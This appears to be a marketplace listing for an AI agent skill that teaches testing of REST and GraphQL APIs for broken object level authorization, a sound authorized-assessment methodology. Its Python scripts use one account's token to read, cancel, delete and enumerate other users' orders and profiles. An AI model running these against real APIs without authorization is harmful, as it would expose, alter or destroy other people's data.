mukul975/anthropic-cybersecurity-skillsApache-2.04 files

Testing API For Broken Object Level Authorization

Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA/IDOR,

Specification
Skill ID
mukul975/anthropic-cybersecurity-skills/testing-api-for-broken-object-level-authorization
Publisher
mukul975
Repository
anthropic-cybersecurity-skills
Installs
0
Files
4
License
Apache-2.0
Synced
Sep 23, 2026
How to use it

Open any RiverX project, open the Skills panel in the chat, and search for this identifier. The files are fetched from the source repository at install time.

mukul975/anthropic-cybersecurity-skills/testing-api-for-broken-object-level-authorizationInstalls these files
  • LICENSE
  • SKILL.md
  • references/api-reference.md
  • scripts/agent.py

What this skill tells the agent

Testing API for Broken Object Level Authorization

When to Use

  • Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies
  • Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested
  • Testing multi-tenant SaaS applications where users from different tenants should not access each other's data
  • Validating that API endpoints enforce per-object authorization checks beyond just authentication
  • Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently

Do not use without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.

Prerequisites

  • Written authorization specifying the target API endpoints and scope of testing
  • At least two test accounts with different privilege levels and distinct data sets
  • Burp Suite Professional or OWASP ZAP configured as an intercepting proxy
  • Authentication tokens (JWT, session cookies, API keys) for each test account
  • API documentation (OpenAPI/Swagger spec) or access to enumerate endpoints
  • Python 3.10+ with requests library for scripted testing
  • Autorize Burp extension installed for automated BOLA detection

Workflow

Step 1: API Endpoint Discovery and Object ID Mapping

Enumerate all API endpoints and identify parameters that reference objects:

From OpenAPI/Swagger Specification:

# Download and parse the OpenAPI spec
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool

# Extract all endpoints with path parameters
curl -s https://target-api.example.com/api/docs/swagger.json | \
  python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
    for method, details in methods.items():
        if method in ('get','post','put','patch','delete'):
            params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
            if params:
                print(f'{method.upper()} {path} -> params: {params}')
"

From Burp Suite Traffic:

  1. Browse the application as User A, exercising all features that involve data creation and retrieval
  2. In Burp, go to Target > Site Map and filter for API paths (e.g., /api/v1/, /graphql)
  3. Look for patterns: /api/v1/users/{id}, /api/v1/orders/{order_id}, /api/v1/documents/{doc_uuid}
  4. Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values

Classify Object ID Types:

ID TypeExamplePredictabilityBOLA Risk
Sequential Integer/orders/1042High - increment/decrementCritical
UUID v4/orders/550e8400-e29b-41d4-a716-446655440000Low - randomMedium (if leaked)
Encoded/Hashed/orders/base64encodedvalueMedium - decode and predictHigh
Composite/users/42/orders/1042High - multiple IDs to swapCritical
Slug/profiles/john-doeMedium - guess usernamesHigh

Step 2: Baseline Request Capture with Authenticated User

Capture legitimate requests for User A and User B:

import requests

BASE_URL = "https://target-api.example.com/api/v1"

# User A credentials
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}

# User B credentials
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}

# Step 1: Identify User A's objects
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"]  # e.g., 1001

user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]]  # e.g., [5001, 5002]

# Step 2: Identify User B's objects
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"]  # e.g., 1002

user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]]  # e.g., [5003, 5004]

print(f"User A (ID: {user_a_id}): Orders {user_a_order_ids}")
print(f"User B (ID: {user_b_id}): Orders {user_b_order_ids}")

Step 3: BOLA Testing - Horizontal Privilege Escalation

Attempt to access User B's objects using User A's authentication:

import json

results = []

# Test 1: Access User B's profile with User A's token
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
    "test": "Access other user profile",
    "endpoint": f"GET /users/{user_b_id}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code == 200,
    "data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})

# Test 2: Access User B's orders with User A's token
for order_id in user_b_order_ids:
    resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
    results.append({
        "test": f"Access other user order {order_id}",
        "endpoint": f"GET /orders/{order_id}",
        "auth": "User A",
        "status": resp.status_code,
        "vulnerable": resp.status_code == 200
    })

# Test 3: Modify User B's order with User A's token
resp = requests.patch(
    f"{BASE_URL}/orders/{user_b_order_ids[0]}",
    headers=user_a_headers,
    json={"status": "cancelled"}
)
results.append({
    "test": "Modify other user order",
    "endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code in (200, 204)
})

# Test 4: Delete User B's resource with User A's token
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
    "test": "Delete other user order",
    "endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code in (200, 204)
})

# Print results
for r in results:
    status = "VULNERABLE" if r["vulnerable"] else "SECURE"
    print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")

Step 4: Advanced BOLA Techniques

Test for less obvious BOLA patterns:

# Technique 1: Parameter pollution - send both IDs
resp = requests.get(
    f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
    headers=user_a_headers
)
print(f"Parameter pollution: {resp.status_code}")

# Technique 2: JSON body object ID override
resp = requests.post(
    f"{BASE_URL}/orders/details",
    headers=user_a_headers,
    json={"order_id": user_b_order_ids[0]}
)
print(f"Body ID override: {resp.status_code}")

# Technique 3: Array of IDs - include other user's IDs in batch request
resp = requests.post(
    f"{BASE_URL}/orders/batch",
    headers=user_a_headers,
    json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders")

# Technique 4: Numeric ID manipulation for sequential IDs
for offset in range(-5, 6):
    test_id = user_a_order_ids[0] + offset
    if test_id not in user_a_order_ids:
        resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
        if resp.status_code == 200:
            owner = resp.json().get("user_id", "unknown")
            if str(owner) != str(user_a_id):
                print(f"BOLA: Order {test_id} belongs to user {owner}, accessible by User A")

# Technique 5: Swap object ID in nested resource paths
resp = requests.get(
    f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
    headers=user_a_headers
)

Use this skill in a project

Open any RiverX project, search the Skills panel for mukul975/anthropic-cybersecurity-skills/testing-api-for-broken-object-level-authorization, and install it in one click.

Use this skill